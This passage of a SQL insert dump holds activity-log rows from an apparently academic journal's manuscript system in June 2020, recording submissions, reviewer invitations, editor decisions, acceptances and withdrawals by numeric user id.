article',3755,'Publisher',84),(37452,'2020-06-05 17:16:49','Publisher has been Withdrawn  article',3755,'Publisher',84),(37453,'2020-06-05 17:18:18','Publisher : Notified Editor',3812,'Publisher',85),(37454,'2020-06-05 17:19:48','Publisher: Accept Notification has been sent to Author',4017,'Publisher',85),(37455,'2020-06-05 17:22:59','Publisher has been Withdrawn  article',2723,'Publisher',84),(37462,'2020-06-05 17:45:34','Publisher has been Withdrawn  article',3926,'Publisher',319),(37479,'2020-06-05 17:48:01','Publisher: Accept Notification has been sent to Author',3880,'Publisher',319),(37480,'2020-06-05 17:48:20','Publisher has been Accepted Articles  article',3741,'Publisher',319),(37481,'2020-06-05 17:48:25','Publisher has been Accepted Articles  article',3741,'Publisher',319),(37488,'2020-06-05 17:49:37','Publisher has been Accepted Articles  article',3708,'Publisher',319),(37527,'2020-06-05 21:03:49','Publisher has been Withdrawn  article',1394,'Publisher',85),(37528,'2020-06-05 21:18:25','Reviewer has submitted comments',3888,'Reviewer',13225),(37530,'2020-06-05 22:16:30','Manuscript Submitted by Publisher',4530,'Publisher',645),(37531,'2020-06-05 22:17:37','Publisher has been Assigned Editor',4530,'Publisher',645),(37532,'2020-06-05 22:58:58','Manuscript Submitted by Author',4531,'Author',5737),(37533,'2020-06-05 23:41:41','Editor has Accepted to review Manuscript',4496,'Editor',160),(37534,'2020-06-06 00:03:04','Editor has Invited Reviewer',4496,'Editor',160),(37535,'2020-06-06 00:03:05','Editor has Invited Reviewer',4496,'Editor',160),(37536,'2020-06-06 00:03:06','Editor has Invited Reviewer',4496,'Editor',160),(37537,'2020-06-06 00:03:07','Editor has Invited Reviewer',4496,'Editor',160),(37538,'2020-06-06 00:03:09','Editor has Invited Reviewer',4496,'Editor',160),(37539,'2020-06-06 00:30:52','Editor has been Revise (Notify Author) article',3682,'Editor',160),(37540,'2020-06-06 00:30:59','Editor has been Revise (Notify Author) article',3682,'Editor',160),(37542,'2020-06-06 00:50:32','Editor has been Revise (Notify Author) article',3833,'Editor',160),(37543,'2020-06-06 00:53:20','Editor has been Editor Decision Accepted article',3566,'Editor',160),(37545,'2020-06-06 01:58:25','Reviewer has submitted comments',3882,'Reviewer',11353),(37546,'2020-06-06 03:38:03','Author sent Email',4322,'Author',5541),(37547,'2020-06-06 08:48:56','Publisher: Accept Notification has been sent to Author',3833,'Publisher',75),(37548,'2020-06-06 08:49:25','Publisher : Notified Editor',3888,'Publisher',75),(37549,'2020-06-06 08:50:42','Editor has been Editor Decision Accepted article',3888,'Editor',160),(37550,'2020-06-06 08:51:20','Publisher: Accept Notification has been sent to Author',3888,'Publisher',75),(37551,'2020-06-06 09:19:13','Reviewer has submitted comments',3926,'Reviewer',12875),(37553,'2020-06-06 10:02:16','Reviewer has been sent email to Publisher',3447,'Reviewer',653),(37564,'2020-06-06 10:43:19','Reviewer has submitted comments',3701,'Reviewer',12513),(37566,'2020-06-06 10:56:16','Reviewer has submitted comments',4392,'Reviewer',13235),(37571,'2020-06-06 11:18:53','Publisher has been Withdrawn  article',3682,'Publisher',75),(37583,'2020-06-06 11:59:37','Publisher : Notified Editor',3888,'Publisher',75),(37586,'2020-06-06 12:01:29','Editor has been Editor Decision Accepted article',3888,'Editor',160),(37587,'2020-06-06 12:02:02','Publisher: Accept Notification has been sent to Author',3888,'Publisher',75),(37608,'2020-06-06 13:12:45','Editor has Accepted to review Manuscript',4200,'Editor',194),(37609,'2020-06-06 13:13:00','Editor has been Editor Decision Accepted article',4200,'Editor',194),(37610,'2020-06-06 13:13:08','Editor has Accepted to review Manuscript',4183,'Editor',194),(37611,'2020-06-06 13:13:23','Editor has been Editor Decision Accepted article',4183,'Editor',194),(37612,'2020-06-06 13:13:30','Editor has Accepted to review Manuscript',4173,'Editor',194),(37613,'2020-06-06 13:13:41','Editor has been Editor Decision Accepted article',4173,'Editor',194),(37614,'2020-06-06 13:16:46','Publisher: Accept Notification has been sent to Author',4200,'Publisher',48),(37615,'2020-06-06 13:17:01','Publisher: Accept Notification has been sent to Author',4183,'Publisher',48),(37616,'2020-06-06 13:17:16','Publisher: Accept Notification has been sent to Author',4173,'Publisher',48),(37617,'2020-06-06 13:22:18','Reviewer has submitted comments',4178,'Reviewer',12532),(37618,'2020-06-06 13:32:03','Editor has been Editor Decision Accepted article',3812,'Editor',204),(37619,'2020-06-06 13:40:11','Author sent Email',3780,'Author',4952),(37620,'2020-06-06 13:40:45','Publisher: Accept Notification has been sent to Author',3566,'Publisher',75),(37621,'2020-06-06 13:44:19','Publisher has been Withdrawn  article',3833,'Publisher',75),(37622,'2020-06-06 14:02:59','Publisher : Notified Editor',4392,'Publisher',85),(37623,'2020-06-06 14:07:25','Editor has Accepted to review Manuscript',4392,'Editor',1408),(37624,'2020-06-06 14:07:40','Editor has been Revise (Notify Author) article',4392,'Editor',1408),(37625,'2020-06-06 14:10:11','Publisher : Notified Author',4392,'Publisher',85),(37631,'2020-06-06 16:14:32','Publisher: Accept Notification has been sent to Author',3812,'Publisher',85),(37636,'2020-06-06 18:54:29','Publisher has Invited Reviewer',4530,'Publisher',645),(37637,'2020-06-06 18:54:30','Publisher has Invited Reviewer',4530,'Publisher',645),(37638,'2020-06-06 18:54:56','Publisher has Invited Reviewer',4530,'Publisher',645),(37639,'2020-06-06 18:54:57','Publisher has Invited Reviewer',4530,'Publisher',645),(37640,'2020-06-06 18:54:59','Publisher has Invited Reviewer',4530,'Publisher',645),(37641,'2020-06-06 18:55:00','Publisher has Invited Reviewer',4530,'Publisher',645),(37642,'2020-06-06 18:55:01','Publisher has Invited Reviewer',4530,'Publisher',645),(37645,'2020-06-06 19:48:06','Editor has been Revise (Notify Author) article',3888,'Editor',160),(37646,'2020-06-06 20:00:55','Reviewer has submitted comments',3983,'Reviewer',11355),(37649,'2020-06-07 06:19:44','Manuscript Submitted by Author using Submission form',4564,'Author',5772),(37655,'2020-06-07 17:21:16','Manuscript Submitted by Author using Submission form',4567,'Author',5776),(37656,'2020-06-07 18:20:28','Manuscript Submitted by Author using Submission form',4568,'Author',5777),(37668,'2020-06-08 10:11:16','Publisher has Invited Reviewer',4498,'Publisher',673),(37669,'2020-06-08 10:11:17','Publisher has Invited Reviewer',4498,'Publisher',673),(37670,'2020-06-08 10:11:18','Publisher has Invited Reviewer',4498,'Publisher',673),(37671,'2020-06-08 10:11:52','Publisher has Invited Reviewer',4465,'Publisher',673),(37672,'2020-06-08 10:11:53','Publisher has Invited Reviewer',4465,'Publisher',673),(37673,'2020-06-08 10:11:54','Publisher has Invited Reviewer',4465,'Publisher',673),(37677,'2020-06-08 10:21:37','Editor has Accepted to review Manuscript',4465,'Editor',1370),(37678,'2020-06-08 10:22:53','Editor has Accepted to review Manuscript',4218,'Editor',1370),(37679,'2020-06-08 10:23:53','Publisher : Notified Editor',3701,'Publisher',85),(37680,'2020-06-08 10:24:24','Editor has Accepted to review Manuscript',3701,'Editor',204),(37681,'2020-06-08 10:24:44','Editor has been Revise (Notify Author) article',3701,'Editor',204),(37682,'2020-06-08 10:26:50','Publisher : Notified Author',3701,'Publisher',85),(37698,'2020-06-08 11:10:46','Publisher has been Assigned Editor',4568,'Publisher',48),(37699,'2020-06-08 11:10:53','Publisher has been Assigned Editor',4567,'Publisher',48),(37700,'2020-06-08 11:11:01','Publisher has been Assigned Editor',4564,'Publisher',48),(37730,'2020-06-08 12:31:31','Publisher : Notified Editor',4465,'Reviewer',673),(37733,'2020-06-08 12:38:44','Editor has Accepted to review Manuscript',4498,'Editor',1370),(37734,'2020-06-08 12:39:18','Editor has been Editor Decision Accepted article',4498,'Editor',1370),(37748,'2020-06-08 13:14:17','Manuscript Submitted by Author using Submission form',4575,'Author',5784),(37753,'2020-06-08 13:53:06','Editor has Accepted to review Manuscript',4191,'Editor',1370),(37755,'2020-06-08 13:54:00','Editor has been Editor Decision Accepted article',4191,'Editor',1370),(37756,'2020-06-08 13:58:07','Reviewer has submitted comments',4191,'Reviewer',11360),(37765,'2020-06-08 14:20:07','Publisher : Notified Author',4194,'Publisher',85),(37766,'2020-06-08 14:20:32','Publisher : Notified Author',4058,'Publisher',85),(37767,'2020-06-08 14:20:48','Publisher : Notified Author',4056,'Publisher',85),(37768,'2020-06-08 14:30:55','Manuscript Submitted by Author using Submission form',4580,'Author',5788),(37770,'2020-06-08 14:31:32','Publisher has been Assigned Editor',4580,'Publisher',645),(37775,'2020-06-08 14:40:54','Publisher has Invited Reviewer',3860,'Publisher',645),(37776,'2020-06-08 14:41:18','Publisher has Invited Reviewer',3723,'Publisher',645),(37781,'2020-06-08 15:44:34','Author sent Email',4056,'Author',5257),(37817,'2020-06-08 17:22:00','Manuscript Submitted by Author using Submission form',4585,'Author',5794),(37838,'2020-06-08 19:24:13','Publisher has been Assigned Editor',4575,'Publisher',85),(37839,'2020-06-08 19:26:38','Publisher has Invited Reviewer',4575,'Publisher',85),(37840,'2020-06-08 19:26:39','Publisher has Invited Reviewer',4575,'Publisher',85),(37841,'2020-06-08 19:26:40','Publisher has Invited Reviewer',4575,'Publisher',85),(37842,'2020-06-08 19:26:42','Publisher has Invited Reviewer',4575,'Publisher',85),(37843,'2020-06-08 19:26:44','Publisher has Invited Reviewer',4575,'Publisher',85),(37844,'2020-06-08 19:26:45','Publisher has Invited Reviewer',4575,'Publisher',85),(37845,'2020-06-08 19:26:47','Publisher has Invited Reviewer',4575,'Publisher',85),(37846,'2020-06-08 19:26:48','Publisher has Invited Reviewer',4575,'Publisher',85),(37847,'2020-06-08 19:26:49','Publisher has Invited Reviewer',4575,'Publisher',85),(37848,'2020-06-08 19:26:50','Publisher has Invited Reviewer',4575,'Publisher',85),(37849,'2020-06-08 19:26:52','Publisher has Invited Reviewer',4575,'Publisher',85),(37850,'2020-06-08 19:26:53','Publisher has Invited Reviewer',4575,'Publisher',85),(37862,'2020-06-09 03:09:25','Manuscript Submitted by Author using Submission form',4589,'Author',5798),(37920,'2020-06-09 10:50:54','Publisher: Accept Notification has been sent to Author',4065,'Publisher',376),(38022,'2020-06-09 15:23:41','Publisher: Accept Notification has been sent to Author',4065,'Publisher',376),(38024,'2020-06-09 15:31:58','Reviewer has submitted comments',4226,'Reviewer',12786),(38074,'2020-06-09 20:06:17','Publisher has been Assigned Editor',4585,'Publisher',85),(38075,'2020-06-09 20:06:40','Manuscript Updated',4585,'Publisher',85),(38081,'2020-06-09 20:07:45','Publisher has Invited Reviewer',4585,'Publisher',85),(38082,'2020-06-09 20:07:46','Publisher has Invited Reviewer',4585,'Publisher',85),(38083,'2020-06-09 20:07:48','Publisher has Invited Reviewer',4585,'Publisher',85),(38084,'2020-06-09 20:07:49','Publisher has Invited Reviewer',4585,'Publisher',85),(38085,'2020-06-09 20:07:51','Publisher has Invited Reviewer',4585,'Publisher',85),(38086,'2020-06-09 20:07:52','Publisher has Invited Reviewer',4585,'Publisher',85),(38087,'2020-06-09 20:07:53','Publisher has Invited Reviewer',4585,'Publisher',85),(38088,'2020-06-09 20:07:54','Publisher has Invited Reviewer',4585,'Publisher',85),(38089,'2020-06-09 20:07:56','Publisher has Invited Reviewer',4585,'Publisher',85),(38090,'2020-06-09 20:07:57','Publisher has Invited Reviewer',4585,'Publisher',85),(38091,'2020-06-09 20:07:58','Publisher has Invited Reviewer',4585,'Publisher',85),(38092,'2020-06-09 20:09:01','Publisher : Notified Author',4392,'Publisher',85),(38093,'2020-06-09 20:24:29','Manuscript Submitted by Author using Submission form',4604,'Author',5815),(38096,'2020-06-09 21:26:19','Reviewer has submitted comments',4482,'Reviewer',657),(38099,'2020-06-10 00:23:00','Manuscript Submitted by Author using Submission form',4607,'Author',5818),(38100,'2020-06-10 00:38:24','Reviewer has submitted comments',4392,'Reviewer',13236),(38113,'2020-06-10 07:53:44','Publisher has Invited Reviewer',4568,'Publisher',48),(38114,'2020-06-10 07:53:45','Publisher has Invited Reviewer',4568,'Publisher',48),(38115,'2020-06-10 07:55:29','Publisher has been Assigned Editor',4589,'Publisher',48),(38116,'2020-06-10 07:55:39','Publisher has been Withdrawn  article',3566,'Publisher',75),(38117,'2020-06-10 07:55:48','Publisher has been Accepted Articles  article',3575,'Publisher',75),(38118,'2020-06-10 07:55:56','Publisher has Invited Reviewer',4589,'Publisher',48),(38119,'2020-06-10 07:55:56','Publisher has been Accepted Articles  article',3657,'Publisher',75),(38120,'2020-06-10 07:55:57','Publisher has Invited Reviewer',4589,'Publisher',48),(38121,'2020-06-10 07:56:05','Publisher has been Accepted Articles  article',3808,'Publisher',75),(38122,'2020-06-10 07:56:17','Publisher has Invited Reviewer',4567,'Publisher',48),(38123,'2020-06-10 07:56:23','Publisher: Accept Notification has been sent to Author',3888,'Publisher',75),(38124,'2020-06-10 07:56:34','Publisher has been Accepted Articles  article',3888,'Publisher',75),(38125,'2020-06-10 07:56:43','Publisher has Invited Reviewer',4564,'Publisher',48),(38126,'2020-06-10 07:56:56','Publisher has been Accepted Articles  article',4446,'Publisher',48),(38127,'2020-06-10 07:57:17','Publisher has Invited Reviewer',4439,'Publisher',48),(38128,'2020-06-10 07:57:17','Publisher has Invited Reviewer',4439,'Publisher',48),(38129,'2020-06-10 07:57:37','Publisher has Invited Reviewer',4438,'Publisher',48),(38130,'2020-06-10 07:57:51','Publisher has been Accepted Articles  article',4437,'Publisher',48),(38131,'2020-06-10 07:58:12','Publisher has Invited Reviewer',4396,'Publisher',48),(38132,'2020-06-10 07:58:13','Publisher has Invited Reviewer',4396,'Publisher',48),(38133,'2020-06-10 07:58:26','Publisher has been Accepted Articles  article',4344,'Publisher',48),(38134,'2020-06-10 07:58:42','Publisher has Invited Reviewer',4328,'Publisher',48),(38135,'2020-06-10 07:58:55','Publisher has been Accepted Articles  article',4316,'Publisher',48),(38136,'2020-06-10 07:59:09','Publisher has been Accepted Articles  article',4230,'Publisher',48),(38137,'2020-06-10 07:59:22','Publisher has been Accepted Articles  article',4209,'Publisher',48),(38138,'2020-06-10 07:59:33','Publisher has been Accepted Articles  article',4200,'Publisher',48),(38139,'2020-06-10 07:59:40','Publisher has been Accepted Articles  article',4190,'Publisher',48),(38140,'2020-06-10 07:59:49','Publisher has been Accepted Articles  article',4178,'Publisher',48),(38141,'2020-06-10 08:00:03','Publisher has been Accepted Articles  article',4132,'Publisher',48),(38142,'2020-06-10 08:00:26','Publisher has been Accepted Articles  article',4183,'Publisher',48),(38143,'2020-06-10 08:00:34','Publisher has been Accepted Articles  article',4173,'Publisher',48),(38144,'2020-06-10 08:00:45','Publisher has been Accepted Articles  article',4142,'Publisher',48),(38145,'2020-06-10 08:01:10','Publisher has been Accepted Articles  article',4149,'Publisher',48),(38146,'2020-06-10 08:01:27','Publisher has been Accepted Articles  article',4081,'Publisher',48),(38147,'2020-06-10 08:01:34','Publisher has been Accepted Articles  article',4070,'Publisher',48),(38148,'2020-06-10 08:07:47','Publisher has been Accepted Articles  article',4011,'Publisher',48),(38149,'2020-06-10 08:08:38','Publisher has been Accepted Articles  article',4003,'Publisher',48),(38150,'2020-06-10 08:10:47','Publisher has been Accepted Articles  article',4001,'Publisher',48),(38157,'2020-06-10 09:01:58','Publisher has Invited Reviewer',3974,'Publisher',75),(38158,'2020-06-10 09:02:07','Publisher has Invited Reviewer',3974,'Publisher',75),(38159,'2020-06-10 09:02:08','Publisher has Invited Reviewer',3974,'Publisher',75),(38160,'2020-06-10 09:02:09','Publisher has Invited Reviewer',3974,'Publisher',75),(38161,'2020-06-10 09:02:59','Publisher has Invited Reviewer',3999,'Publisher',75),(38162,'2020-06-10 09:03:09','Publisher has Invited Reviewer',3999,'Publisher',75),(38163,'2020-06-10 09:03:09','Publisher has Invited Reviewer',3999,'Publisher',75),(38164,'2020-06-10 09:03:10','Publisher has Invited Reviewer',3999,'Publisher',75),(38165,'2020-06-10 09:03:11','Publisher has Invited Reviewer',3999,'Publisher',75),(38166,'2020-06-10 09:03:43','Publisher has Invited Reviewer',4005,'Publisher',75),(38167,'2020-06-10 09:03:43','Publisher has Invited Reviewer',4005,'Publisher',75),(38168,'2020-06-10 09:04:35','Publisher has Invited Reviewer',4134,'Publisher',75),(38169,'2020-06-10 09:04:36','Publisher has Invited Reviewer',4134,'Publisher',75),(38170,'2020-06-10 09:04:37','Publisher has Invited Reviewer',4134,'Publisher',75),(38171,'2020-06-10 09:04:38','Publisher has Invited Reviewer',4134,'Publisher',75),(38172,'2020-06-10 09:04:38','Publisher has Invited Reviewer',4134,'Publisher',75),(38173,'2020-06-10 09:05:44','Publisher : Notified Editor',4160,'Publisher',75),(38174,'2020-06-10 09:06:08','Publisher has Invited Reviewer',4187,'Publisher',75),(38175,'2020-06-10 09:06:08','Publisher has Invited Reviewer',4187,'Publisher',75),(38176,'2020-06-10 09:06:09','Publisher has Invited Reviewer',4187,'Publisher',75),(38177,'2020-06-10 09:06:10','Publisher has Invited Reviewer',4187,'Publisher',75),(38178,'2020-06-10 09:06:10','Publisher has Invited Reviewer',4187,'Publisher',75),(38179,'2020-06-10 09:06:51','Publisher has Invited Reviewer',4241,'Publisher',75),(38180,'2020-06-10 09:06:52','Publisher has Invited Reviewer',4241,'Publisher',75),(38181,'2020-06-10 09:06:53','Publisher has Invited Reviewer',4241,'Publisher',75),(38182,'2020-06-10 09:07:22','Publisher has Invited Reviewer',4322,'Publisher',75),(38183,'2020-06-10 09:07:23','Publisher has Invited Reviewer',4322,'Publisher',75),(38184,'2020-06-10 09:07:24','Publisher has Invited Reviewer',4322,'Publisher',75),(38185,'2020-06-10 09:07:24','Publisher has Invited Reviewer',4322,'Publisher',75),(38186,'2020-06-10 09:07:49','Publisher has Invited Reviewer',4445,'Publisher',75),(38187,'2020-06-10 09:07:50','Publisher has Invited Reviewer',4445,'Publisher',75),(38188,'2020-06-10 09:07:51','Publisher has Invited Reviewer',4445,'Publisher',75),(38189,'2020-06-10 09:08:50','Publisher has Invited Reviewer',4496,'Publisher',75),(38190,'2020-06-10 09:08:51','Publisher has Invited Reviewer',4496,'Publisher',75),(38191,'2020-06-10 09:08:52','Publisher has Invited Reviewer',4496,'Publisher',75),(38192,'2020-06-10 09:08:52','Publisher has Invited Reviewer',4496,'Publisher',75),(38193,'2020-06-10 09:08:53','Publisher has Invited Reviewer',4496,'Publisher',75),(38194,'2020-06-10 09:08:54','Publisher has Invited Reviewer',4496,'Publisher',75),(38195,'2020-06-10 09:08:54','Publisher has Invited Reviewer',4496,'Publisher',75),(38224,'2020-06-10 10:57:07','Manuscript Submitted by Author using Submission form',4608,'Author',5819),(38262,'2020-06-10 11:44:48','Publisher has been Assigned Editor',4607,'Publisher',85),(38263,'2020-06-10 11:51:13','Publisher has been Accepted Articles  article',4113,'Publisher',85),(38264,'2020-06-10 11:51:25','Publisher has been Accepted Articles  article',4017,'Publisher',85),(38265,'2020-06-10 11:51:35','Publisher has been Accepted Articles  article',3812,'Publisher',85),(38271,'2020-06-10 12:18:38','Publisher has Invited Reviewer',4607,'Publisher',85),(38272,'2020-06-10 12:18:39','Publisher has Invited Reviewer',4607,'Publisher',85),(38273,'2020-06-10 12:18:46','Publisher has Invited Reviewer',4607,'Publisher',85),(38274,'2020-06-10 12:18:48','Publisher has Invited Reviewer',4607,'Publisher',85),(38275,'2020-06-10 12:18:54','Publisher has Invited Reviewer',4607,'Publisher',85),(38276,'2020-06-10 12:18:55','Publisher has Invited Reviewer',4607,'Publisher',85),(38277,'2020-06-10 12:18:56','Publisher has Invited Reviewer',4607,'Publisher',85),(38278,'2020-06-10 12:18:58','Publisher has Invited Reviewer',4607,'Publisher',85),(38279,'2020-06-10 12:18:59','Publisher has Invited Reviewer',4607,'Publisher',85),(38317,'2020-06-10 14:36:14','Publisher has been Withdrawn  article',3804,'Publisher',84),(38318,'2020-06-10 14:36:21','Publisher has been Withdrawn  article',3798,'Publisher',84),(38337,'2020-06-10 15:01:54','Manuscript Submitted by Author using Submission form',4610,'Author',5823),(38338,'2020-06-10 15:08:22','Editor has Accepted to review Manuscript',3867,'Editor',1235),(38339,'2020-06-10 15:08:36','Editor has been Editor Decision Accepted article',3867,'Editor',1235),(38340,'2020-06-10 15:09:21','Editor has Accepted to review Manuscript',3771,'Editor',1235),(38341,'2020-06-10 15:09:43','Editor has been Editor Decision Accepted article',3771,'Editor',1235),(38342,'2020-06-10 15:14:19','Publisher has been Accepted Articles  article',4024,'Publisher',48),(38343,'2020-06-10 15:14:58','Publisher has been Accepted Articles  article',3996,'Publisher',48),(38344,'2020-06-10 15:15:13','Publisher has been Accepted Articles  article',3971,'Publisher',48),(38345,'2020-06-10 15:17:07','Publisher has been Accepted Articles  article',3785,'Publisher',48),(38346,'2020-06-10 15:17:14','Publisher has been Accepted Articles  article',3780,'Publisher',48),(38347,'2020-06-10 15:17:22','Publisher has been Accepted Articles  article',3687,'Publisher',48),(38348,'2020-06-10 15:18:29','Publisher has been Accepted Articles  article',3672,'Publisher',48),(38350,'2020-06-10 15:20:05','Editor has Accepted to review Manuscript',3587,'Editor',1235),(38351,'2020-06-10 15:20:07','Publisher has been Accepted Articles  article',3652,'Publisher',48),(38352,'2020-06-10 15:20:14','Publisher has been Accepted Articles  article',3628,'Publisher',48),(38353,'2020-06-10 15:20:19','Publisher has been Accepted Articles  article',3626,'Publisher',48),(38354,'2020-06-10 15:20:26','Editor has been Editor Decision Rejected article',3587,'Editor',1235),(38355,'2020-06-10 15:20:31','Publisher has been Accepted Articles  article',3539,'Publisher',48),(38356,'2020-06-10 15:20:38','Publisher has been Accepted Articles  article',3509,'Publisher',48),(38357,'2020-06-10 15:20:54','Publisher has been Accepted Articles  article',3498,'Publisher',48),(38358,'2020-06-10 15:21:01','Publisher has been Accepted Articles  article',3488,'Publisher',48),(38359,'2020-06-10 15:21:10','Publisher has been Accepted Articles  article',3460,'Publisher',48),(38360,'2020-06-10 15:21:20','Publisher has been Accepted Articles  article',3403,'Publisher',48),(38361,'2020-06-10 15:21:52','Publisher has been Accepted Articles  article',3867,'Publisher',274),(38362,'2020-06-10 15:23:12','Publisher has been Accepted Articles  article',3388,'Publisher',48),(38363,'2020-06-10 15:23:18','Publisher has been Accepted Articles  article',3339,'Publisher',48),(38365,'2020-06-10 15:23:34','Publisher has been Accepted Articles  article',3333,'Publisher',48),(38366,'2020-06-10 15:23:40','Publisher has been Accepted Articles  article',3330,'Publisher',48),(38367,'2020-06-10 15:23:48','Publisher has been Accepted Articles  article',3322,'Publisher',48),(38368,'2020-06-10 15:23:56','Publisher has been Accepted Articles  article',3293,'Publisher',48),(38369,'2020-06-10 15:24:06','Publisher has been Accepted Articles  article',3282,'Publisher',48),(38370,'2020-06-10 15:24:15','Publisher has been Accepted Articles  article',3219,'Publisher',48),(38371,'2020-06-10 15:24:22','Publisher has been Accepted Articles  article',3045,'Publisher',48),(38372,'2020-06-10 15:24:30','Publisher has been Accepted Articles  article',3033,'Publisher',48),(38374,'2020-06-10 15:24:51','Publisher has been Accepted Articles  article',2582,'Publisher',48),(38375,'2020-06-10 15:24:57','Publisher has been Accepted Articles  article',2594,'Publisher',48),(38376,'2020-06-10 15:25:11','Publisher has been Accepted Articles  article',2651,'Publisher',48),(38377,'2020-06-10 15:25:15','Publisher has been Accepted Articles  article',2651,'Publisher',48),(38378,'2020-06-10 15:25:29','Publisher has been Accepted Articles  article',2842,'Publisher',48),(38379,'2020-06-10 15:25:36','Publisher has been Accepted Articles  article',2876,'Publisher',48),(38381,'2020-06-10 15:25:53','Publisher has been Accepted Articles  article',2943,'Publisher',48),(38382,'2020-06-10 15:26:15','Publisher has been Accepted Articles  article',2474,'Publisher',48),(38383,'2020-06-10 15:30:32','Publisher has been Accepted Articles  article',2272,'Publisher',48),(38384,'2020-06-10 15:30:38','Publisher has been Accepted Articles  article',2416,'Publisher',48),(38385,'2020-06-10 15:30:45','Publisher has been Accepted Articles  article',2464,'Publisher',48),(38386,'2020-06-10 15:31:06','Publisher has been Accepted Articles  article',3997,'Publisher',48),(38399,'2020-06-10 15:55:40','Publisher has been Assigned Editor',4608,'Publisher',85),(38429,'2020-06-10 17:39:25','Publisher has Invited Reviewer',4608,'Publisher',85),(38430,'2020-06-10 17:39:26','Publisher has Invited Reviewer',4608,'Publisher',85),(38431,'2020-06-10 17:39:27','Publisher has Invited Reviewer',4608,'Publisher',85),(38432,'2020-06-10 17:39:29','Publisher has Invited Reviewer',4608,'Publisher',85),(38433,'2020-06-10 17:39:30','Publisher has Invited Reviewer',4608,'Publisher',85),(38440,'2020-06-10 17:45:14','Publisher has Invited Reviewer',4608,'Publisher',85),(38441,'2020-06-10 17:45:17','Publisher has Invited Reviewer',4608,'Publisher',85),(38442,'2020-06-10 17:54:08','Publisher has Invited Reviewer',4608,'Publisher',85),(38443,'2020-06-10 17:54:10','Publisher has Invited Reviewer',4608,'Publisher',85),(38444,'2020-06-10 17:54:11','Publisher has Invited Reviewer',4608,'Publisher',85),(38445,'2020-06-10 17:58:49','Publisher has been Accepted Articles  article',3880,'Publisher',319),(38446,'2020-06-10 18:01:29','Publisher : Notified Editor',4138,'Publisher',319),(38448,'2020-06-10 18:15:32','Reviewer has submitted comments',3860,'Reviewer',10779),(38450,'2020-06-10 18:19:02','Reviewer has submitted comments',3723,'Reviewer',8796),(38468,'2020-06-10 18:52:05','Publisher has Invited Reviewer',4580,'Publisher',645),(38469,'2020-06-10 18:52:06','Publisher has Invited Reviewer',4580,'Publisher',645),(38470,'2020-06-10 18:52:18','Publisher has Invited Reviewer',4580,'Publisher',645),(38472,'2020-06-10 18:52:19','Publisher has Invited Reviewer',4580,'Publisher',645),(38473,'2020-06-10 18:52:19','Publisher has Invited Reviewer',4580,'Publisher',645),(38474,'2020-06-10 18:52:20','Publisher has Invited Reviewer',4580,'Publisher',645),(38475,'2020-06-10 18:52:21','Publisher has Invited Reviewer',4580,'Publisher',645),(38477,'2020-06-10 18:52:55','Publisher has Invited Reviewer',4530,'Publisher',645),(38478,'2020-06-10 18:52:56','Publisher has Invited Reviewer',4530,'Publisher',645),(38480,'2020-06-10 18:52:57','Publisher has Invited Reviewer',4530,'Publisher',645),(38481,'2020-06-10 18:52:57','Publisher has Invited Reviewer',4530,'Publisher',645),(38482,'2020-06-10 18:52:58','Publisher has Invited Reviewer',4530,'Publisher',645),(38483,'2020-06-10 18:52:59','Publisher has Invited Reviewer',4530,'Publisher',645),(38499,'2020-06-10 19:11:08','Publisher has been Assigned Editor',4610,'Publisher',85),(38503,'2020-06-10 19:31:10','Publisher has Invited Reviewer',4610,'Publisher',85),(38504,'2020-06-10 19:31:12','Publisher has Invited Reviewer',4610,'Publisher',85),(38505,'2020-06-10 19:31:13','Publisher has Invited Reviewer',4610,'Publisher',85),(38506,'2020-06-10 19:31:14','Publisher has Invited Reviewer',4610,'Publisher',85),(38507,'2020-06-10 19:31:15','Publisher has Invited Reviewer',4610,'Publisher',85),(38508,'2020-06-10 19:31:16','Publisher has Invited Reviewer',4610,'Publisher',85),(38509,'2020-06-10 19:31:17','Publisher has Invited Reviewer',4610,'Publisher',85),(38510,'2020-06-10 19:31:19','Publisher has Invited Reviewer',4610,'Publisher',85),(38511,'2020-06-10 19:31:20','Publisher has Invited Reviewer',4610,'Publisher',85),(38512,'2020-06-10 19:31:21','Publisher has Invited Reviewer',4610,'Publisher',85),(38513,'2020-06-10 19:31:22','Publisher has Invited Reviewer',4610,'Publisher',85),(38514,'2020-06-10 19:31:23','Publisher has Invited Reviewer',4610,'Publisher',85),(38515,'2020-06-10 19:31:24','Publisher has Invited Reviewer',4610,'Publisher',85),(38553,'2020-06-10 19:50:25','Publisher has been Assigned Editor',4531,'Publisher',248),(38594,'2020-06-10 22:52:36','Publisher : Notified Editor',4226,'Publisher',85),(38595,'2020-06-10 22:53:06','Editor has Accepted to review Manuscript',4226,'Editor',1393),(38596,'2020-06-10 22:53:19','Editor has been Revise (Notify Author) article',4226,'Editor',1393),(38597,'2020-06-10 22:53:55','Publisher : Notified Author',4226,'Publisher',85),(38600,'2020-06-10 23:20:22','Manuscript Submitted by Author',4618,'Author',5522),(38605,'2020-06-11 01:13:04','Author sent Email',3888,'Author',5082),(38607,'2020-06-11 02:42:01','Reviewer has submitted comments',3791,'Reviewer',8997),(38608,'2020-06-11 02:44:40','Reviewer has submitted comments',3722,'Reviewer',8997),(38609,'2020-06-11 02:45:38','Reviewer has updated comments',3722,'Reviewer',8997),(38610,'2020-06-11 02:46:10','Reviewer has updated comments',3722,'Reviewer',8997),(38611,'2020-06-11 02:46:52','Reviewer has updated comments',3722,'Reviewer',8997),(38612,'2020-06-11 02:47:45','Reviewer has submitted comments',4610,'Reviewer',8997),(38613,'2020-06-11 02:49:13','Reviewer has submitted comments',3938,'Reviewer',8997),(38614,'2020-06-11 06:01:34','Manuscript Submitted by Author using Submission form',4623,'Author',5838),(38615,'2020-06-11 08:46:33','Editor has Accepted to review Manuscript',4263,'Editor',1410),(38616,'2020-06-11 08:46:41','Editor has Accepted to review Manuscript',4199,'Editor',1410),(38617,'2020-06-11 08:46:47','Editor has Accepted to review Manuscript',4148,'Editor',1410),(38618,'2020-06-11 08:46:56','Editor has Accepted to review Manuscript',4111,'Editor',1410),(38619,'2020-06-11 08:47:09','Editor has Accepted to review Manuscript',4083,'Editor',1410),(38620,'2020-06-11 08:47:18','Editor has Accepted to review Manuscript',3985,'Editor',1410),(38621,'2020-06-11 08:48:44','Editor has been Editor Decision Accepted article',4083,'Editor',1410),(38622,'2020-06-11 08:49:26','Editor has been Editor Decision Accepted article',3985,'Editor',1410),(38623,'2020-06-11 08:50:04','Editor has been Editor Decision Accepted article',4148,'Editor',1410),(38624,'2020-06-11 08:50:36','Editor has been Editor Decision Accepted article',4199,'Editor',1410),(38625,'2020-06-11 08:51:02','Editor has been Editor Decision Accepted article',4263,'Editor',1410),(38626,'2020-06-11 08:51:42','Publisher has been 